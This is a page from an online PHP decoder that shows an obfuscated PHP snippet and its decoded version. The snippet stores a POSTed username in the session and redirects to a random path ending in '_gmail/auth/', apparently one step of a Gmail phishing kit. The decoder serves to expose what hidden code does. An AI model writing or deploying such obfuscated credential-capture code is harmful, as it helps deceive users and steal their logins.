Online PHP Javascript Script Decoder

Online PHP and Javascript Decoder decode hidden script to uncover its real functionality

Original code:

<?php
 goto DaMTw; Ms6Wa: header("\x4c\x6f\x63\x61\x74\151\157\156\72\x20\56\x2e\57\x2e\56\x2f\56\56\57\x46\141\x47\x72\144\161\60\x67\171\157\x51\x75\x4b\127\143\171\162\x34\x69\x66\x4c\x65\106\x32\x41\x36\x72\x7a\106\157\x57\172\x65\x55\x32\x39\125\x78\67\x6f\112\x79\x39\x35\x57\x4a\x61\147\x48\x4e\x61\165\164\x33\x31\x73\131\x59\x77\107\x4e\163\171\x61\x32\x53\x55\63\x42\172\x46\151\x41\64\103\x31\141\106\x70\x4a\x45\x30\155\124\x33\x67\61\165\x6f\124\x42\x65\141\x64\x39\147\x4e\116\122\x50\x5f\147\x6d\141\x69\x6c\x2f\141\x75\164\150\x2f"); goto T4hC2; DaMTw: session_start(); goto OTL7E; OTL7E: $_SESSION["\165\x73\145\162\156\x61\155\145"] = $_POST["\x75\x73\x65\162\x6e\141\x6d\145"]; goto Ms6Wa; T4hC2: ?>

Decrypted code:

goto DaMTw;
 Ms6Wa: header("Location: ../../../FaGrdq0gyoQuKWcyr4ifLeF2A6rzFoWzeU29Ux7oJy95WJagHNaut31sYYwGNsya2SU3BzFiA4C1aFpJE0mT3g1uoTBead9gNNRP_gmail/auth/");
 goto T4hC2;
 DaMTw: session_start();
 goto OTL7E;
 OTL7E: $_SESSION["username"] = $_POST["username"];
 goto Ms6Wa;
 T4hC2:

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